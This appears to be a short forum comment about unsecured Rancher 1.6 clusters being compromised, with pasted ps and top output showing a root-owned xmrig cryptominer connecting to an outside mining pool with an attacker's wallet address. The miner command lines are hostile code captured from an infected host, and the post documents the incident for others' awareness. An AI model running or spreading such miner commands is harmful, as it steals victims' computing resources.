Pre RKE we used Rancher 1.6.  If you did not immediately lock down your cluster access using RBAC - your cluster would be saturated within 24 hours - assuming you are running directly on a public facing VPC.

ubuntu@a-osn-cd:~$ sudo ps -ef | grep stratum
ubuntu   24878 65468  0 15:36 pts/2    00:00:00 grep --color=auto stratum
root     60682 59879  0 Oct30 pts/1    00:00:00 /bin/sh -c ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x --max-cpu-usage=100
root     61061 60682 99 Oct30 pts/1    34-08:13:23 ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x --max-cpu-usage=100

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                              
61061 root      20   0 4145488 145424   7500 S  4385  0.0  49449:50 ./xmrig -o stratum+tcp://monerohash.com:3333 -u 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj -p x+